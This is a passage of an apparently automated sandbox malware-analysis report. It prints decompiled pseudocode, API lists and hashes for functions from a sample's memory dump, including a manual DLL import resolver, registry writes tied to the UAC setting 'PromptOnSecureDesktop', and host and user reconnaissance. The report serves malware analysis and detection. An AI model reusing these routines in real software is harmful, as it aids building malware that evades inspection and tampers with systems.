__aulldiv.LIBCMT ref: 0043A8F1

Strings

9, xrefs: 0043A902
0, xrefs: 0043A6BD

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 272dd89132af2464f70f934d505b85f6e64a58d2a7f737b8fb3ec87df729b1c9
Instruction ID: ea6d61200717de96c82bd0f70d72dbc781e1c0654602c94721c1962b99102367
Opcode Fuzzy Hash: 272dd89132af2464f70f934d505b85f6e64a58d2a7f737b8fb3ec87df729b1c9
Instruction Fuzzy Hash: CF4107B1D05228DFDF28CF48C889BAEB7B5FB48304F14959AD099A7240D7389E95CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00429404, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042946B
__aullrem.LIBCMT ref: 0042963B
__aulldiv.LIBCMT ref: 0042965D

Strings

9, xrefs: 0042966E
', xrefs: 00429404

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 85284e4dac7d8c45927c18c53d63ad5160bebae6f7ea5563e8d657425d0e2cb6
Instruction ID: 5477786d858fa05b48aca7f43b945b44877bde13e7a826b0cef71d20abb8cff0
Opcode Fuzzy Hash: 85284e4dac7d8c45927c18c53d63ad5160bebae6f7ea5563e8d657425d0e2cb6
Instruction Fuzzy Hash: BD4136B1E00229AFDF24CF48D881BAEB7B5FF85314F5040AAE149A7200C7789E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042A633, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042A69A
__aullrem.LIBCMT ref: 0042A86A
__aulldiv.LIBCMT ref: 0042A88C

Strings

', xrefs: 0042A633
9, xrefs: 0042A89D

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 85284e4dac7d8c45927c18c53d63ad5160bebae6f7ea5563e8d657425d0e2cb6
Instruction ID: ad5964931037274b0f0fe6ae2148576da61ff856bb86d0e1d520db972a076bdf
Opcode Fuzzy Hash: 85284e4dac7d8c45927c18c53d63ad5160bebae6f7ea5563e8d657425d0e2cb6
Instruction Fuzzy Hash: 514135B0E002299FDB24CF58D941BAEB7B5FF85314F4440AAE548AB201C7389E95CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0086E2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0086E4F3,00000000,00000000,00000000,00020106,00000000,0086E4F3,00000000,000000E4), ref: 0086E302
RegSetValueExA.ADVAPI32(0086E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0086E377
RegDeleteValueA.ADVAPI32(0086E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0086E3A8
RegCloseKey.ADVAPI32(0086E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0086E4F3), ref: 0086E3B1

Strings

PromptOnSecureDesktop, xrefs: 0086E323

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 0880cbaf362fe796ba9a04ab448a00fcdfc6c08cad4e8b0a43f777fdaeeecfcb
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 29217C32A0021DABDF209FA5ED89EEF7FB9EF08750F018061F904E6251E671CA54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008671AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 008671CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00867211
LocalFree.KERNEL32(?,?,?), ref: 0086726F
wsprintfA.USER32 ref: 00867286

Strings

|, xrefs: 00867203

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: b8019a93e75a9c9e6b68258b1cb465d002c595ba170e10f97e883ef09bb074c2
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 1F313872A04208BFDB01DFA8D845BDA7BACFF04354F148066F959DB201EA74DA488B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 004284DE, Relevance: 7.7, APIs: 5, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa58f4e93052ecb4360eda26c991175295fb898dde425a1573b3a787e314528c
Instruction ID: 0f1514b3cb5fb0eaa06ea67d5771397c45a77244f1ee321c9c2bf12bdfbc6490
Opcode Fuzzy Hash: fa58f4e93052ecb4360eda26c991175295fb898dde425a1573b3a787e314528c
Instruction Fuzzy Hash: BC914E74A01218EFDB14CF94D891AAEFBB1BF84324F64C29ED4556B381D735AA81CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0086B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0086B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0086B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 0086B531
GetTimeZoneInformation.KERNEL32(?), ref: 0086B579
wsprintfA.USER32 ref: 0086B607

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 18e463be0018bce84a9ae8c819377ea3def7215dea89abe4e9811861196b2ed0
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 4A511071D0021CAACF14DFD5D8895EEBBB9FF48304F11812AE501E6150E7B94AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 008662B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 008662EC
LoadLibraryA.KERNEL32(?), ref: 00866313
GetProcAddress.KERNEL32(00000000,?), ref: 0086639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 008663EE

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: be9eca167c4a53607557bb532f9f3fc9a76f1dab37980e8fb03b9ba5904cc4a8
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: F2417E71A00259AFDB14CF58C984BAEB7B4FF14354F268069E815DB390EB31ED65CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x74e043e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
